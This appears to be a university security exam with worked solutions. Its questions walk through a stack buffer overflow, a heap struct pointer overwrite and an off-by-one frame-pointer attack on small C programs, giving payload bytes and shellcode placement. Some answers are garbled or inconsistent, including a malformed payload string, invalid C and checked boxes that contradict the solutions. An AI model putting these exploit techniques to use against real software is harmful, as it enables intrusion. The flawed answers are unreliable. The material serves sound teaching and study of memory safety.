Question 1  Hacked EvanBot

Hacked EvanBot is running code to violate students’ privacy, and it’s up to you to disable it before it’s too late!

```c
#include <stdio.h>

void spy_on_students(void) {
    char buffer[16];
    fread(buffer, 1, 24, stdin);
}

int main() {
    spy_on_students();
    return 0;
}
```

The shutdown code for Hacked EvanBot is located at address 0xdeadbeef, but there’s just one problem—Bot has learned a new memory safety defense. Before returning from a function, it will check that its saved return address (rip) is not 0xdeadbeef, and throw an error if the rip is 0xdeadbeef.

Clarification during exam: Assume little-endian x86 for all questions.

Assume all x86 instructions are 8 bytes long. Assume all compiler optimizations and buffer overflow defenses are disabled.

The address of buffer is 0xbfffff110.

Q1.1  (3 points) In the next 3 subparts, you’ll supply a malicious input to the fread call at line 5 that causes the program to execute instructions at 0xdeadbeef, without overwriting the rip with the value 0xdeadbeef.

The first part of your input should be a single assembly instruction. What is the instruction? x86 pseudocode or a brief description of what the instruction should do (5 words max) is fine.

**Solution:** jmp *0xdeadbeef

You can’t overwrite the rip with 0xdeadbeef, but you can still overwrite the rip to point at arbitrary instructions located somewhere else. The idea here is to overwrite the rip to execute instructions in the buffer, and write a single jump instruction that starts executing code at 0xdeadbeef.

Grading: most likely all or nothing, with some leniency as long as you mention something about jumping to address 0xdeadbeef. We will consider alternate solutions, though.

---

1In practice, x86 instructions are variable-length.
Q1.2 (3 points) The second part of your input should be some garbage bytes. How many garbage bytes do you need to write?

- (G) 0
- (H) 4
- (I) 8
- (J) 12
- (K) 16
- (L) —

**Solution:** After the 8-byte instruction from the previous part, we need another 8 bytes to fill buffer, and then another 4 bytes to overwrite the sfp, for a total of 12 garbage bytes.

Q1.3 (3 points) What are the last 4 bytes of your input? Write your answer in Project 1 Python syntax, e.g. \x12\x34\x56\x78.

**Solution:** \x10\xf1\xff\xbf

This is the address of the jump instruction at the beginning of buffer. (The address may be slightly different on randomized versions of this exam.)

Partial credit for writing the address backwards.

Q1.4 (3 points) When does your exploit start executing instructions at 0xdeadbeef?

- (G) Immediately when the program starts
- (H) When the main function returns
- (I) When the spy_on_students function returns
- (J) When the fread function returns
- (K) —
- (L) —

**Solution:** The exploit overwrites the rip of spy_on_students, so when the spy_on_students function returns, the program will jump to the overwritten rip and start executing arbitrary instructions.
**Question 2  Indirection**

Consider the following vulnerable C code:

```c
#include <stdlib.h>
#include <string.h>

struct log_entry {
    char title[8];
    char *msg;
};

void log_event(char *title, char *msg) {
    size_t len = strlen(msg, 256);
    if (len == 256) return; /* Message too long. */
    struct log_entry *entry = malloc(sizeof(struct log_entry));
    entry->msg = malloc(256);
    strcpy(entry->title, title);
    strncpy(entry->msg, msg, len + 1);
    add_to_log(entry); /* Implementation not shown. */
}
```

Assume you are on a little-endian 32-bit x86 system and no memory safety defenses are enabled.

**Q2.1 (3 points)** Which of the following lines contains a memory safety vulnerability?

- (A) Line 10
- (B) Line 13
- (C) Line 14
- (D) Line 15
- (E) —
- (F) —

**Solution:** Line 14 uses a `strcpy`, which is not a memory-safe function because it terminates only when it sees a NULL byte, which is under the control of the attacker. Note that line 15 uses a `strncpy` whose length parameter comes from `strlen`, so it is safe.

**Q2.2 (3 points)** Seeing an opportunity to exploit this program, you fire up GDB and step into the `log_event` function. Give a GDB command that will show you the address of the rip of the `log_event` function. (Abbreviations are fine.)

**Solution:** `info frame` (abbreviated `i f`) would be the easiest command to use. Other solutions exist.
Q2.3 (3 points) Fill in the numbered blanks on the following stack and heap diagram for \texttt{log\_event}.
Assume that lower-numbered addresses start at the bottom of both diagrams.

![Stack Heap Diagram]

- (A) 1 = entry->title, 2 = entry->title, 3 = msg
- (B) 1 = entry->title, 2 = msg, 3 = entry->title
- (C) 1 = title, 2 = entry->title, 3 = entry->msg
- (D) 1 = title, 2 = entry->msg, 3 = entry->title

- (E) —
- (F) —

**Solution:** The two arguments, title and msg, must be on the stack, so 1 = msg.
Structs are filled from lower addresses to higher addresses, so 2 = entry->title and 3 = entry->msg.

Using GDB, you find that the address of the rip of \texttt{log\_event} is 0xbfffe0f0.
Let \texttt{SHELLCODE} be a 40-byte shellcode. Construct an input that would cause this program to execute shellcode. Write all your answers in Python 2 syntax (just like Project 1).

Q2.4 (6 points) Give the input for the title argument.

**Solution:** The title will be used to overflow the title buffer in the struct to point the msg pointer to the RIP. The input should thus be

```
'A' * 8 + '\xf0\xe0\xff\xbf'
```
Q2.5 (6 points) Give the input for the msg argument.

☐ (A) ——  ☐ (B) ——  ☐ (C) ——  ☐ (D) ——  ☐ (E) ——  ☐ (F) ——

**Solution:** The first 4 bytes will be written in the location of the RIP, which should point to the shellcode. Thus, our input should be

'\xf4e0xff\xbf' + SHELLCODE
Consider the following buggy C code:

```c
void add_letter(int i, char *buf) {
    char word[4];
    printf("Enter Word %d:\n", i);
    fgets(word, 4, stdin);
    buf[i] = word[0];
    if (i > 0) {
        add_letter(i - 1, buf);
    }
}

void make_acronym(void) {
    char result[4];
    add_letter(4, result);
    printf("%s\n", result);
}

void word_games(void) {
    make_acronym();
}

int main(void) {
    word_games();
    return 0;
}
```

Assume you are on a little-endian 32-bit x86 system. Assume that there is no compiler padding or additional saved registers in all subparts. Assume all memory-safety defenses (ASLR, stack canaries, pointer authentication codes, and non-executable pages) are disabled, unless otherwise specified.

Q3.1 (3 min) How many times will the add_letter function be run each time the make_acronym function is called?

- (A) 0
- (B) 1
- (C) 2
- (D) 3
- (E) 4
- (F) 5

**Solution:** Five times; i = 4, i = 3, i = 2, i = 1, and i = 0.
Q3.2 (4 min) Which value(s) will be overwritten (partially or completely) when you provide an input for the prompt to “Enter Word 4:”? Select all that apply.

☐ (G) RIP of word_games
☐ (H) SFP of word_games
☐ (I) RIP of make_acronym
☐ (J) SFP of make_acronym
☐ (K) None of the above
☐ (L) —

Solution: At a high level, this code contains a buggy implementation of an acronym generator: it prompts the user for a series of words, and stores the resulting acronym (a word consisting of the first word of every letter) in result.

Realistically, the function should add a null byte to the end of result, but it doesn’t. Instead, it provides the user with a mechanism to write to the zero’th, first, second, third, and fourth byte of result.

Because the user has no way to avoid writing to the fourth byte of result, the SFP of make_acronym (which is above result on the stack) will always be overwritten, which is why the function might crash during normal execution.

Assume that malicious shellcode is stored at 0x44332211 and the address of result is 0xAABBCCB8. In the next five subparts, provide a series of inputs to fgets that would cause the program to execute shellcode.

Q3.3 (1 min) First input:

☐ (A) \x9A
☐ (B) \xAC
☐ (C) \x80
☒ (D) \xB4
☐ (E) \xBB
☐ (F) \xBC

Q3.4 (1 min) Second input:

☐ (G) \x00
☐ (H) \x11
☐ (I) \x22
☒ (J) \x33
☒ (K) \x44
☐ (L) \x48

Q3.5 (1 min) Third input:

☐ (A) \x00
☐ (B) \x11
☐ (C) \x22
☒ (D) \x33
☐ (E) \x44
☐ (F) \x48

Q3.6 (1 min) Fourth input:

☐ (G) \x00
☐ (H) \x11
☒ (I) \x22
☐ (J) \x33
☐ (K) \x44
☐ (L) \x48
Q3.7 (1 min) Fifth input:

(A) \x00  (B) \x11  (C) \x22  (D) \x33  (E) \x44  (F) \x48

Solution:

```
print('\x44')  # shellcode MSB
print('\x33')
print('\x22')
print('\x11')  # shellcode LSB
```

In an earlier sub-part, we established that we could write to the fourth byte of `result`. Because that byte is the LSB of the SFP of `make_acronym`, we can attempt to perform an off-by-one attack!

We follow the general off-by-one structure in the textbook, and in the project, where our goal is to make the SFP point to a spot somewhere lower on the stack, and then place the address of our shellcode four bytes above that. For the reasoning behind this attack structure, refer to the textbook.

To determine where to point the Forged SFP to, notice that our buffer is only four bytes large, so we have to point the Forged SFP to the memory address four bytes below the buffer. The buffer is at 0xAABBCCB8, and the original SFP is 0xAABBCCD0, so we set the last byte of the SFP to 0xB4.

Finally, we notice that our recursive `add_word` function enters inputs starting at `result[4]` and working down to `result[0]`, so we start with the most significant byte of the shellcode address and work our way to the LSB.
Q3.8 (3 min) Assume that you’ve successfully executed the exploit above. At what point will the function jump to your shellcode?

○ (G) When `main` returns

● (H) When `word_games` returns

○ (I) When `make_acronym` returns

○ (J) When `add_letter` (called with `i == 4`) returns

○ (K) When `add_letter` (called with `i == 3`) returns

○ (L) None of the above

**Solution:** We’re using a version of an off-by-one exploit here, so the `word_games` function has to return in order for the CPU to look for its RIP (and mistakenly find a malicious RIP that we’ve placed in our buffer instead).